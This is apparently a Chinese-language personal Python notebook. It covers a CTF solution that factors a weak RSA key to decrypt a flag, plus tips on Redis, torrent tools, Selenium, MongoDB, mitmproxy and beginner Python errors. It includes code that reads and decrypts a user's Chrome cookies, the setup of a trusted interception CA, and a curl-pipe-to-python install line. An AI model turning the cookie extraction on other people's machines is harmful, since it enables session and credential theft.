    问题来了,d是个那么大的数,如果直接写一个:

    # 在python里**表示乘方
    m = (c**d)%n
    

    果然运行这个py就卡死了,实际上并没有必要算出精确的c**d,我们需要调用快速的mod乘方的方法

    google关键词: python mod pow

    参考:https://stackoverflow.com/questions/32738637/calculate-mod-using-pow-function-python

    人家说pow函数就可以提供第3个参数,例如pow(6, 8, 5)就是 6^8 mod 5

    那就写代码咯(瞎写,C语言的pow需要#include 那我就也从math导入吧):

    from math import pow
    m = pow(c,d,n)
    

    然而命途多舛,果然报错:

    Traceback (most recent call last):
      File "run.py", line 35, in <module>
        m = pow(c,d,n)
    TypeError: pow expected 2 arguments, got 3
    

    emmm… 奇了怪了,这是什么鬼嘛,说好的支持第三个参数呢,翻回去仔细看人家给的文档链接

    嗯?这文档的标题就是Built-in Functions,我懂了! 支持第三个参数的pow函数是内置的那个,而不是math库提供的,删掉from math import pow这一句就好了

    我们的py又加上了两行:

    m = pow(c,d,n)
    print(m)
    

    得到输出 4114174865819530012247735243997890458185276719507135882385278623252053258

    明文这么一个大数 我要的flag呢?

    cy打开了他的笔记本 https://py3.io/Python.html#bytes

    查到了 十六进制字符串转bytes字符串 和 拿到一个int转字符串 的方法:

    from base64 import b16decode
    print( b16decode( hex(m)[2:].upper() ) )
    

    果然 又tm出错了:

    Traceback (most recent call last):
      File "run.py", line 37, in <module>
        print( b16decode( hex(m)[2:].upper() ) )
      File "/usr/lib/python3.5/base64.py", line 276, in b16decode
        return binascii.unhexlify(s)
    binascii.Error: Odd-length string
    

    odd-length啥意思?奇数长度?对噢 十六进制字符串肯定要偶数长度才行(两个一组表示一个字节嘛) 那么就前面补个0咯

    py代码如下:(其实你也可以试试int.to_bytes方法)

    plaindata = hex(m)[2:].upper()
    if len(plaindata)%2 :
        plaindata = "0"+plaindata
    print(b16decode(plaindata))
    

    输出:

    b'\x02T\x1b:(\x02\xb9\x8c8\xbb\x00CTF{256i3_n0t_SAfe}\n'
    

    啊哈! 总算能搞定啦,flag到手!

    完整的代码

    # parse public key: https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key
    # PUBKEY=`grep -v -- ----- public.pem | tr -d '\n'`
    # echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
    # echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17
    
    
    n = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F
    e = 0x10001
    print(n)
    # visit http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831
    p = 283194537446483890135816972554288437117
    q = 319567913424286672035093410391626922443
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    d = modinv(e, (p-1)*(q-1))
    print(d)
    encrypteddata = open('flag.enc','rb').read()
    import binascii
    c = int(binascii.b2a_hex(encrypteddata).decode(),16)
    print(c)
    c = int.from_bytes(encrypteddata, 'big')
    print(c)
    m = pow(c,d,n)
    print(m)
    from base64 import b16decode
    plaindata = hex(m)[2:].upper()
    if len(plaindata)%2 :
        plaindata = "0"+plaindata
    
    print(b16decode(plaindata))
    

    时间戳与字符串相互转换

    import time

    得到当前时间戳: int(time.time())

    得到当前时间字符串:time.strftime(“%Y-%m-%d %H:%M:%S”)

    时间戳1381419600转字符串:time.strftime(“%Y-%m-%d %H:%M:%S”, time.localtime(1381419600))

    字符串”2013-10-10 23:40:00”转时间戳:int(time.mktime(time.strptime(“2013-10-10 23:40:00”,”%Y-%m-%d %H:%M:%S”)))


    用redis存储字典

    假设存储一个用户名对应用户ID的字典,名称为USERS,例如{“zhangsan”:1, “lisi”:2}

    import redis
    r = redis.StrictRedis(host='localhost', port=6379, db=1) #db参数可以理解为命名空间
    assert r.ping() # 是否成功连上
    
    USERS = {"zhangsan":1, "lisi":2}
    
    # 存储字典
    r.hmset("USERS", USERS)
    
    # 获得已经存储的字典里面有哪些键,返回bytes的list
    KEYS = r.hkeys("USERS") 
    
    # 获得整个字典并转换回原来的类型
    USERS1 = {i.decode():int(j) for i,j in r.hgetall("USERS").items()}
    
    # 修改字典中一个key的value
    r.hset("USERS","zhangsan",3)
    
    # 删除存储的字典,只能一个个删,先要hkeys获取有哪些键
    _=[r.hdel("USERS", key) for key in r.hkeys("USERS") ]
    
    # 扫描式获得已经存储的字典里面有哪些键
    ## 如果字典里面存储了太多东西,执行KEYS会卡住整个redis,用hscan是更好的选择
    ## 这里先生成一个比较大的字典存进去
    import random, string
    randomstr = lambda n: "".join(random.sample(string.ascii_letters, n))
    USERS = {randomstr(10): random.randint(1,10000) for _ in range(10000)} # 生成一个1w条记录的字典
    r.hmset("USERS", USERS) # 存进去
    
    ## 循环hscan
    cursor, result = r.hscan("USERS")
    while cursor:
        cursor, tmp = r.hscan("USERS", cursor)
        result.update(tmp)
    
    USERS2 = {i.decode():int(j) for i,j in result.items()} #从bytes转为原来的格式
    assert USERS==USERS2 #存进去的与取出来的应该相同
    

    搬运种子 从北邮人搬运到NexusHD

    代码: code/autoseed_byr2nhd.py

    依赖于EasyLogin,以及 pip3 install transmissionrpc python-resize-image

    运行需要提供byr和NHD的登录cookie,以及transmission连接信息


    python selenium+Docker chrome headless爬复杂网页

    例子:阿里云所有域名价格页面 https://wanwang.aliyun.com/help/price.html

    从网络请求看出其价格接口有多个,而且较为复杂;那就不妨试试用selenium让chrome headless访问这个页面,加载渲染完成后我们再获取页面源代码,此时源代码里面就有了完整的价格数据

    运行环境:只需要Docker和Python3,无需桌面环境

    镜像参考:https://hub.docker.com/r/selenium/standalone-chrome/

    先跑起来容器呗,这样就运行了selenium server,主机暴露了一个6666端口,:

    docker run -d -p 6666:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome
    

    安装Python包:pip3 install selenium

    调用代码,爬取url,得到网页源代码,其中127.0.0.1相应地修改为Docker主机的IP:

    url = "https://wanwang.aliyun.com/help/price.html"
    
    from selenium import webdriver
    from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
    driver = webdriver.Remote(
        command_executor='http://127.0.0.1:6666/wd/hub',
        desired_capabilities=DesiredCapabilities.CHROME)
    driver.get(url)
    html = driver.page_source
    with open("result.html", "w", encoding="utf-8") as fp:
            fp.write(html)
    driver.quit() #一定要记得清理掉Chrome进程 否则内存会占满
    

    如果没有在代码里面清理Chrome进程,可以在浏览器里面进入Console,在这里可以看到当前运行的Session (Chrome进程) ,对当前页面查看页面截图: http://127.0.0.1:6666/wd/hub/static/resource/hub.html


    python丢弃root权限

    如果python需要监听80端口,简单方式就是直接用root权限启动,但启动后可以丢弃root权限来提高安全性

    code from https://stackoverflow.com/questions/2699907/dropping-root-permissions-in-python

    import os, pwd, grp
    
    def drop_privileges(uid_name='nobody', gid_name='nogroup'):
        if os.getuid() != 0:
            # We're not root so, like, whatever dude
            return
    
        # Get the uid/gid from the name
        running_uid = pwd.getpwnam(uid_name).pw_uid
        running_gid = grp.getgrnam(gid_name).gr_gid
    
        # Remove group privileges
        os.setgroups([])
    
        # Try setting the new uid/gid
        os.setgid(running_gid)
        os.setuid(running_uid)
    

    python transmissionrpc

    下述主要介绍transmissionrpc这个库的使用

    上传一个种子 开始下载

    使用Client的add_torrent方法,传入种子文件的base64

    def upload_transmission(thost, tport, tuser, tpassword, filename):
        tc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword)
        return tc.add_torrent(base64.b64encode(open(filename, "rb").read()).decode())
    

    返回值是一个不完整的torrent对象

    获取完整的torrent对象

    torrent_id = torrent.id
    full_torrent = tc.get_torrent(torrent_id)
    

    其中就有状态和进度信息

    print(full_torrent.status, full_torrent.progress)
    

    给种子增加一个tracker

    这样可以把pt站点的种子转到OpenTracker,无需重新校验种子(但传到新的pt站点infohash会变,只能传新种子重新校验)

    transmissionrpc本身似乎没有暴露出trackerAdd的方法,这是结合浏览器和翻阅代码自己试出来的

    torrent._client._request('torrent-set', {"trackerAdd": [new_tracker_url]}, torrent.id, True)
    

    修改一个.torrent文件的tracker

    使用torf库,这个库使用了python3.6才支持的特性,依赖于格式化字符串、dict遍历的有序性

    我修改后的版本下载,支持py3.5:https://d.py3.io/torf.zip

    代码:

    t=torf.Torrent.read(torrent_filename)
    t.trackers=[[new_tracker_url]]
    t.write("new.torrent")
    

    uwsgi优雅重启

    参考:http://uwsgi-docs.readthedocs.io/en/latest/articles/TheArtOfGracefulReloading.html

    在uwsgi.ini中添加一行:

    master-fifo = /tmp/uwsgififo
    

    需要重启的时候就:

    echo r>/tmp/uwsgififo
    

    文件打开方式必须是”w”而不能是”a”:

    open("/tmp/uwsgififo", "w").write("r")
    

    flask设置一堆静态目录

    from flask import Flask, render_template, Blueprint, request, redirect, Markup
    app = Flask(__name__)
    for path in ['pic', 'skin', 'images', '更多静态目录']:
        blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)
        app.register_blueprint(blueprint)
    

    Python3.5 open打开文件默认使用utf-8

    Windows下open打开文件总是会使用gbk,配置环境变量如PYTHONIOENCODING都没用,就很气,难道只能每次open都保证写上encoding=”utf-8”嘛?当然不必

    google搜索关键词:windows python3 change open file encoding

    解决方案:参考:https://stackoverflow.com/questions/31469707/changing-the-locale-preferred-encoding-in-python-3-in-windows

    添加代码:由于只有windows才需要这么处理,所以先判断操作系统

    import sys
    if sys.platform.startswith("win"):
        import _locale
        _locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])
    

    Python提取url 正则匹配的回溯爆炸问题

    提取url想遇到中文字符就不算入url中,写出了这样的正则(Python),把中文加入到最后的排除字符:

    _url_re = re.compile(r'(?im)((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>,。()]+|\([^\s()<>,。()]+\))+(?:\([^\s()<>,。()]+\)|[^\u4e00-\u9fa5,。()\s`!()\[\]{};:\'".,<>?]))')
    

    然后实际运行的时候发现网站特定页面访问特别缓慢,CPU占用高,排除许久死循环后发现是这个正则花了太长的时间

    解决方案就是放弃使用正则来剔除中文,提取出含有中文字符的url后再做处理去掉中文字符(字节数>1的)

    现在使用的正则是:

    _url_re = re.compile(r'(?im)((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\([^\s()<>]+\))+(?:\([^\s()<>]+\)|[^\s`!()\[\]{};:\'".,<>?]))')
    

    提取后的处理代码:

    start, end = match.span()
    while len(data[end-1].encode("utf-8"))>1:
        end -= 1
    

    现在改为更加保守的 从左往右遍历,遇到字节数>1的就终止url:

    start, end = match.span()
    newend = start
    while newend<end and len(data[newend].encode("utf-8"))==1:
        newend += 1
    end = newend
    

    ubuntu安装gmpy2

    apt install libmpc-dev libmpfr-dev
    pip install gmpy2
    

    辣鸡的官方文档都不提一下apt安装依赖库的事情,apt能搞定的为啥还要自己编译hhh

    支持python3 也可以-t .安装到当前目录,就是编译生成了一个so文件


    Flask模板 删去循环引入的多余空格

    在模板文件中写for循环的时候,产生的html会包含代码中的缩进空格,这可能会暴露代码的信息,所以有必要删去

    很简单 把 {% %}改为 {%- -%}即可

    {%- for i in range(1,10) -%}
        {{i}}
    {%- endfor -%}
    

    使用sentry

    在py文件一开始进行加载,会自动处理没有被handle的异常

    安装:pip install sentry_sdk

    import sentry_sdk
    from sentry_sdk import capture_message, capture_exception
    sentry_sdk.init("....")
    

    在出现了意外但是不严重可以pass的时候 代替traceback.print_exc()

    try:
        1/0
    except:
        capture_exception()
        capture_message("oho, 1/0 failed...")
        pass
    

    如果是flask的应用 比如用户登录了,希望报错的时候顺带给出用户名:

    from sentry_sdk import configure_scope
    @app.before_request
    def before_request_session():
        if "username" in session:
            with configure_scope() as scope:
                scope.user = {"username": session["username"]}
    

    不要过于依赖Sentry

    capture_exceptioncapture_message 都是同步调用 本质上是一个耗时的网络请求

    尤其在循环中触发 会导致页面加载速度显著变慢

    对于已经知道会有异常产生也不关心的,就不要抓住这种异常来损害性能了 pass就好了

    解决命令行执行py文件没有sys.argv的问题

    这是由于打开方式没有把%*加上的原因,修改注册表 regedit

    HKEY_CLASSES_ROOT\Python.File\Shell\open\command
    

    末尾加上%*即可,例如改为

    "C:\Python37\python.exe" "%1" %*
    

    你也可以用管理员权限的cmd来做修改:

    先查询.py的文件类型:assoc .py查到.py=Python.File

    然后查一下当前的运行命令:ftype Python.File 然后用ftype Python.File="C:\Python37\python.exe" "%1" %*修改即可


    Python获取Windows Chrome的Cookie

    参考:https://github.com/cheezone/ZhihuVAPI/blob/34ef5881f83da0026119e3167ebe727619774c7b/ZhihuVAPI/util/Session.py#L18

    Chrome的cookie用sqlite数据库存储,用WinAPI加密,当前用户任何程序都可以调用解密API来获取cookie

    import sqlite3
    import glob
    import os
    from win32.win32crypt import CryptUnprotectData
    
    def getcookie(host):
        result = []
        for cookiepath in glob.glob(os.environ['LOCALAPPDATA'] + r"\*\*\User Data\Default\Cookies")+glob.glob(os.environ['LOCALAPPDATA'] + r"\*\User Data\Default\Cookies"):
            sql = "select host_key,name,encrypted_value from cookies where host_key='%s'" % host
            with sqlite3.connect(cookiepath) as conn:
                cu = conn.cursor()
                cookies = {name: CryptUnprotectData(encrypted_value)[1].decode() for host_key, name, encrypted_value in cu.execute(sql).fetchall()}
            result.extend([k+"="+v for k, v in cookies.items()])
        return result
    

    调用如getcookie(".zhihu.com")


    Win开发摆脱每次都要写的encoding=utf-8

    在Windows上写代码,目标部署环境为linux,本机运行的时候不想每次读写文件都要写encoding="utf-8"

    修改C:\Python38\Lib\site.py,末尾加上:

    import _locale
    _locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])
    

    验证可以用:python -c "print(open('x','w').encoding)" 输出utf8而不是cp936即可

    参考: https://juejin.im/post/5bd2b6d5e51d45735c3c0453


    Ubuntu16.04安装Python3.7

    并且设置为默认的python

        apt-key adv --keyserver keyserver.ubuntu.com --recv-keys BA6932366A755776 &&\
        echo "deb http://ppa.launchpad.net/deadsnakes/ppa/ubuntu xenial main" > /etc/apt/sources.list.d/python.list &&\
        apt update && apt install -y python3.7-dev &&\
        update-alternatives --install /usr/bin/python python /usr/bin/python3.7 50 &&\
        curl https://bootstrap.pypa.io/get-pip.py | python &&\
        pip install -U setuptools
    

    但是在ubuntu 14.04上从这个ppa源安装的python没有_ssl的库,无法使用pip很迷(解决方案就是开了一个docker ubuntu16.04的容器继续)


    判断代码是否卡住,自动发送KeyboardInterrupt

    场景: 跑爬虫等依赖网络的代码,遇到网络不佳的时候一直卡住不再执行,增加timeout设置确实是一种方法,有没有不用改代码的方式呢?

    依赖: apt install inotify-tools

    watch.sh:

    #!/bin/bash
    while true; do
        inotifywait -e modify -t 100 $1
        res=$?
        if [ "$res" == "2" ]; then
            echo "[`date`] Time Out!"
            $2 || break
        fi
        sleep 60
    done
    

    用法:

    python -u run.py >& log.txt &
    ps #查看python进程的id, 假设为12345
    ./watch.sh log.txt "kill -SIGINT 12345"
    

    解释:python指定输出流不缓存,保证最新的print也能实时写入文件中

    然后使用inotifywait这个工具观察文件$1在100秒内有没有发生修改

    如果没有修改就执行用户提供的参数$2,这里是使用kill发送SIGINT信号

    在Linux里,用户按Ctrl+C就是BASH给当前前台的进程发送这个信号

    如果进程已经结束,那么kill会报错找不到进程,这时候我们就可以break跳出循环了

    如果发生了修改就歇一分钟后继续观察

    这个场景下允许延迟没必要一直观察,只要卡住的时候能发现即可(最迟160秒)

    当然爬虫代码需要处理异常,失败的时候继续下一次爬取或者重试即可


    设置PYTHONSTARTUP环境变量 启动Python自动执行一些import

    经常启动Python当计算器用,但有些时候也需要执行quote之类的函数,每次都要手动import就很烦

    所以可以配置一个环境变量来让启动Python时自动执行这些import操作

    Note

    注意这个不会改变Python执行.py文件的行为,只在Python Interpreter中生效

    Windows在cmd里可以用setx设置环境变量,或者你也可以编辑注册表 HKEY_CURRENT_USER\Environment

    参考: http://www.dowdandassociates.com/blog/content/howto-set-an-environment-variable-in-windows-command-line-and-registry/

    setx PYTHONSTARTUP d:\myshell\pyload.py
    

    这个脚本需要快速加载,避免启动Python太慢,所以使用lazyload来把真正的import留到使用时:

    依赖: PYTHONUTF8=1使得windows的python读写文件默认也使用UTF8

    set PYTHONUTF8=1
    pip install lazy_import
    

    先简要概括一下这个脚本提供了些啥:

    标准库:time, sys, os, json, pickle, csv, requests, np(numpy), plt(matplotlib.pyplot)
    对象:a是EasyLogin(), sess是requests.session()
    函数: 
        pload(filename, default) 载入一个pickle文件
        pdump(filename, data) data写入pickle文件
        jload json读取文件
        jload json写入文件
        bd(b64_string) 解码base64字符串,返回str,自动补齐等号,不会Invalid base64-encoded string
        hd(b16_string) hex decode hex字符串转为bytes
        myprint 显示当前时间的print
        md5 计算给定字符串的md5的32字节hex字符串
        t() int(time.time())
        d() 等价于date -d@xxx,将timestamp转为人类可读的格式,也支持毫秒的输入
    简写:
        jl = json.loads
        pp = pprint.pprint
        sleep = time.sleep
        leval = ast.literal_eval
    
    import _locale
    _locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])
    import time
    from time import sleep
    import sys
    import json
    import pickle
    
    def pload(filename, default=None, lib=pickle):
        try:
            res = lib.load(open(filename, "rb"))
        except:
            if default is None:
                raise
            return default
        return res
    
    def pdump(filename, data, lib=pickle):
        open(filename, "w"+("b" if lib==pickle else "")).write(lib.dumps(data))
    
    def jload(filename, default=None):
        return pload(filename, default=default, lib=json)
    
    def jdump(filename, data):
        return pdump(filename, data, lib=json)
    
    import os
    import csv
    
    from urllib.parse import quote, unquote
    from base64 import b64encode, b64decode, b16encode, b16decode
    
    def bd(b64_string):
        b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
        return b64decode(b64_string).decode()
    
    jl=json.loads
    
    def hd(b16_string):
        return b16decode(b16_string.upper())
    
    def myprint(*args, **kwargs):
        args = list(args)
        args[0] = "["+time.strftime("%Y-%m-%d %H:%M:%S")+"] "+str(args[0])
        print(*args, **kwargs)
    
    import lazy_import
    requests = lazy_import.lazy_module("requests")
    numpy = np = lazy_import.lazy_module("numpy")
    plt = lazy_import.lazy_module("matplotlib.pyplot")
    el = EasyLogin = lazy_import.lazy_class("EasyLogin.EasyLogin")
    pp = pprint = lazy_import.lazy_function("pprint.pprint")
    leval = lazy_import.lazy_function("ast.literal_eval")
    
    import hashlib
    def _load_hashlib(name):
        def f(s):
            if isinstance(s, str):
                s = bytes(s, "utf-8")
            return getattr(hashlib, name)(s).hexdigest()
        return f
    md5 = _load_hashlib("md5")
    sha1 = _load_hashlib("sha1")
    sha512 = _load_hashlib("sha512")
    
    class _A():
        def __getattr__(self, name):
            global a
            a=el()
            return getattr(a, name)
    a=_A()
    
    class _sess():
        def __getattr__(self, name):
            global sess
            sess=requests.session()
            return getattr(sess, name)
    sess=_sess()
    
    def t():
        return int(time.time())
    
    from datetime import datetime, timedelta
    def d(ts):
        ts = int(ts)
        if len(str(ts))==13:
            ts = ts//1000
        return datetime.fromtimestamp(ts).strftime("%Y-%m-%d %H:%M:%S")
    
    def dutc(ts):
        return datetime.utcfromtimestamp(ts).strftime("%Y-%m-%d %H:%M:%S")
    

    Python使用MongoDB

    爬取数据ajax接口返回的是json数据,懒得转换成mysql的表示,直接丢给mongo呗

    可视化客户端使用官方的Compass

    安装server

    docker run -d --name mongo -e MONGO_INITDB_ROOT_USERNAME=adminusername -e MONGO_INITDB_ROOT_PASSWORD=password -v /srv/mongo:/data/db -p 27017:27017 mongo
    

    安装后的连接字符串是:mongodb://adminusername:password@ip:27017

    增删查改

    查询

    嵌套的格式用.表示 例如{"a.b": "1"}可以查到文档{a:{b:"1"}}

    Python代码:

    import pymongo
    client = pymongo.MongoClient("mongodb://adminusername:password@127.0.0.1:27017")
    table = client.database_name.table_name
    print(table.find_one({"_id": id}))
    print(table.count_documents({}))
    

    批量增加

    insert ignore into 忽略已经存在的:

    try:
        table.insert_many(data, ordered=False)
    except pymongo.errors.BulkWriteError:
        pass
    

    replace into 覆盖已经存在的:使用upcert不存在时插入

    for item in data:
        # 你很可能需要自己定义_id
        # item["_id"] = "_".join([...])
        # pprint(item)
        table.update({'_id':item["_id"]}, item, True)
    

    删除

    类似的有函数:delete_one, delete_many

    多表join查询

    table中文档里有一个属性idB,对应tableB的_id,使用$lookup做join操作,无论有没有查到都会返回新的文档,没查到时dst属性为空数组

    所以可以用$match继续筛选查到的内容;然后统计数量,注意到$count在没有结果的时候不返回内容,需要单独处理

    def howmany():
        pipeline = [
            {"$match": {"idB": {"$exists": True}}}, 
            {"$lookup": {"from": 'tableB', "localField": 'idB', "foreignField": '_id', "as": 'dst'}},
            {"$match": {"dst": {"$size": 1}}},
            {"$count": "cnt"}
        ]
        data = list(table.aggregate(pipeline))
        if not data:
            return 0
        return data[0]["cnt"]
    

    随机采样

    pipeline中使用:但是注意可能会有重复的元素 需要自己去重

    {"$sample": {"size":10}}
    

    使用pyenv编译安装不同版本的Python

    想自己维护一个完整的虚拟环境,方便的安装各种版本,用pyenv

    安装:

    git clone https://github.com/pyenv/pyenv.git ~/.pyenv
    echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bash_profile
    echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bash_profile
    echo -e 'if command -v pyenv 1>/dev/null 2>&1; then\n  eval "$(pyenv init -)"\nfi' >> ~/.bash_profile
    

    然后就能编译安装特定版本的Python了,以3.7.0为例:使用我提供的www.python.org的镜像

    apt install -y libffi-dev libgnutls28-dev
    cd ~/.pyenv/plugins
    sed -i 's#www.python.org#py.py3.io#g' $(grep www.python.org -r . -l)
    pyenv install -v 3.7.0
    pyenv global 3.7.0
    

    之后使用如果遇到密码学库的问题:

    pip uninstall pycrypto pycryptodome
    pip install pycryptodome
    

    发送钉钉消息

    群聊加入机器人 关键词设置为一定会出现的字符如.。[,获取url后调用时只需要传入token部分

    import requests
    def dingsend(token, text):
        data = {
            "msgtype" : "text" ,
            "text" : { "content" : text },
            "isAtAll" : False 
        }
        return requests.post("https://oapi.dingtalk.com/robot/send?access_token="+token, json=data)
    

    使用mitmproxy

    python3 -m pip install mitmproxy

    参考: https://stackoverflow.com/questions/51893788/using-mitmproxy-inside-python-script

    from mitmproxy.options import Options
    from mitmproxy.proxy.config import ProxyConfig
    from mitmproxy.proxy.server import ProxyServer
    from mitmproxy.tools.dump import DumpMaster
    
    import threading
    import asyncio
    import time
    
    class Addon(object):
        def __init__(self):
            self.num = 1
    
        def request(self, flow):
            flow.request.headers["count"] = str(self.num)
    
        def response(self, flow):
            self.num = self.num + 1
            flow.response.headers["count"] = str(self.num)
            print(self.num)
    
    
    # see source mitmproxy/master.py for details
    def loop_in_thread(loop, m):
        asyncio.set_event_loop(loop)  # This is the key.
        m.run_loop(loop.run_forever)
    
    
    if __name__ == "__main__":
        options = Options(listen_host='0.0.0.0', listen_port=8080, http2=True)
        m = DumpMaster(options, with_termlog=False, with_dumper=False)
        config = ProxyConfig(options)
        m.server = ProxyServer(config)
        m.addons.add(Addon())
    
        # run mitmproxy in backgroud, especially integrated with other server
        loop = asyncio.get_event_loop()
        t = threading.Thread( target=loop_in_thread, args=(loop,m) )
        t.start()
    
        # Other servers, such as a web server, might be started then.
        time.sleep(20)
        print('going to shutdown mitmproxy')
        m.shutdown()
    

    安装proxychains:

    apt install proxychains4
    

    修改/etc/proxychains.conf,最后一行改成http 127.0.0.1 8080

    添加信任:参考 https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu

    cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitm.crt
    update-ca-certificates
    

    pywebio+Flask 构建交互式markdown网站

    比较适合简单线性流程的工作,例如取代python自带的input界面

    import sys, os
    from pywebio.input import *
    from pywebio.output import *
    from pywebio.session import *
    from pywebio.platform.flask import webio_view
    from pywebio.platform import page
    from flask import Flask, session, request, redirect
    
    app = Flask(__name__)
    
    set_localstorage = lambda key, value: run_js("localStorage.setItem(key, value)", key=key, value=value)
    get_localstorage = lambda key: eval_js("localStorage.getItem(key)", key=key)
    
    @page.config(title="Application Title")
    def index():
        run_js("history.replaceState({}, 'Application Title', '/index'); document.title='Application Title';")
        clear()
        put_markdown("# Application Title")
        put_text("")
        data = input("input something:")
        put_text("your input: "+data)
    
    app.add_url_rule('/', 'index', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])
    app.add_url_rule('/index', 'index2', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])
    
    import webbrowser
    from threading import Timer
    def open_browser():
        webbrowser.open_new('http://127.0.0.1:1323/')
    if __name__ == '__main__':
        debug = True
        if "win" in sys.platform:
            Timer(1, open_browser).start()
            debug = False
        app.run(host='0.0.0.0', port=1323, debug=debug)
    

    文件上传:例如xlsx

    import openpyxl, time
    
        f = file_upload("导入号码(需要按照模板填写)", placeholder='选择Excel文件 (xlsx格式)', required=True, accept="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")
        wb = openpyxl.load_workbook(filename=BytesIO(f["content"]), data_only=True, read_only=True)
        data = []
        for r in wb.active.rows:
            item = [i.value for i in r]
            data.append(item)
    

    输出表格:

    put_table(data, header=["Col1", "Col2"])
    
    ================================================ FILE: docs/PythonCourse/index.html ================================================ Course Python程序设计 - notebook

    Python程序设计课程

    先本地测试能通过再提交

    PTA没有提供详细的报错,你都不知道错哪了怎么改,建议你试试本文提到的错误,记住错误信息下次遇到也就不慌了

    本地Python跑成功再提交提高效率,省点时间

    全角的符号

    a=int(input())
    b=int(input())
    print(a+b)
    

    报错:

      File "<stdin>", line 1
        a=int(input())
                     ^
    SyntaxError: invalid character in identifier
    

    看出(的区别了嘛,Python语言的括号要求半角的括号

    解决方案: 关掉中文输入法!

    input只读取输入的一行

    看清楚题目,如果题目有两行输入,就需要两次input()

    如果题目只有一行输入,比如一行同时给了两个数空格分隔,你需要input().split()

    扩展一下:你可以使用map函数来批量调用函数

    用法是map(目标函数,列表)

    返回 列表每个元素调用目标函数的结果的迭代器 iterator,再用list可以得到列表

    举个例子题目要在一行中输入多个整数

    # map实际上返回的是迭代器,被读到的时候才会真正调用目标函数,想得到列表还需要用list
    >>> map(int, input().split())
    222 444
    <map object at 0x000001D87FB4DAC8>
    
    >>> list(map(int, input().split()))
    222 444
    [222, 444]
    
    >>> a, b = map(int, input().split())
    333 555
    >>> a
    333
    >>> b
    555
    

    不要输出任何多余的提示信息

    A=int(input('被加数'))
    B=int(input('加数'))
    print(A+B)
    

    PTA判题就是判断你程序的输出是否 和标准答案完全一致 完全一致 完全一致

    题目没有要求你输出被加数这种提示信息,你就啥也别输出,不要画蛇添足!

    解决方案: 直接input()就行了

    input函数返回的是字符串

    别忘了把字符串转成你需要的类型,比如int()

    字符串加字符串是拼接, 字符串不能和整数相加

    >>> "1"+"2"
    '12'
    >>> 1+2
    3
    >>> "1"+2
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: can only concatenate str (not "int") to str
    

    注意类型转换的int是要调用的 和C语言不一样

    这是C语言的语法,Python不支持

    sum = (int)x + (int)y
    

    应该写:

    sum = int(x) + int(y)
    

    另外 不建议命名为sum,因为sum本身是Python的内置函数 你赋值了就不能再调用原来的sum函数了

    如果你覆盖了sum之后再去调用sum函数 会报错

    >>> sum=1
    >>> sum([1,2])
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: 'int' object is not callable
    

    你还可以这么做:用map和列表推导式

    s = sum(map(int, [x,y]))
    s = sum([int(i) for i in [x,y]])
    

    注意括号的匹配

    a,b,c=map(int,(input().split())
    

    多了一个(, 细心一点即可 报错:

    SyntaxError: unexpected EOF while parsing
    

    方法是需要调用的

    a,b,c=input().split
    

    末尾少了() 报错:

    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: cannot unpack non-iterable builtin_function_or_method object
    

    注意缩进 不能有多余空格

    s="Python语言简单易学"  
         print(s)
    

    第二行多了前面的空格,会报错:

      File "<stdin>", line 1
        print(s)
        ^
    IndentationError: unexpected indent
    

    print的用法

    错误示例:

    print(sum = s)
    

    你要站在语言开发者的角度思考,你括号里sum表示的是字面意思上的”sum”字符串呢还是内置的sum函数呢?语言的设计要保证没有歧义

    正确的写法:需要原样输出的都要加上引号!

    print("sum =", s)
    

    这个题目要求等号两边有空格,如果没有注意到这一点会格式错误

    print可以接受不定数量的参数,在输出的时候每个参数之间会加上空格,所以上述字符串里等号右边是不写空格

    你还可以使用f-string

    上述写法可以替换成:

    print( f"sum = {s}" )
    

    注意到字符串引号前面的f,说明这个字符串是一个模板,Python遇到这个字符串会自动把s的值填进去。

    f-string在Python3.7里面引入,PTA是支持的,如果你的Python版本低于3.7,你可以用这些通用的写法(只是不够美观了):

    print("sum = {}".format(s)) # 需要记清楚多个变量之间的顺序 
    print("sum = {s}".format(s=s)) # 每个变量都要写一遍
    print("sum = {s}".format(**locals())) # 直接把所有局部变量都提供给format 就不用自己写了
    # 如果用在函数里,你可能想输出全局变量,未完待续
    

    注意引号括号的匹配,尤其是变得复杂的时候

    错误示例 看看引号的结束位置

    print(f'f({x:.1f}) = {1/x:.1f'})
    

    正确的写法是

    print(f'f({x:.1f}) = {1/x:.1f}')
    

    for,if,else右边都要有分号,每个分号的下一行增加缩进

    错误示例

    num = float(input())
    if num < 0 :
        print('Invalid Value!')
    elif num <= 50:
        cost = num * 0.53
    print("cost = %.2f" %  cost)
    else:
        cost = 50*0.53+(num-50)*(0.05+0.53)
    print("cost = %.2f" %  cost)
    

    elif里面的print没有缩进,else必须和elif和if平级,之间的代码必须更多缩进

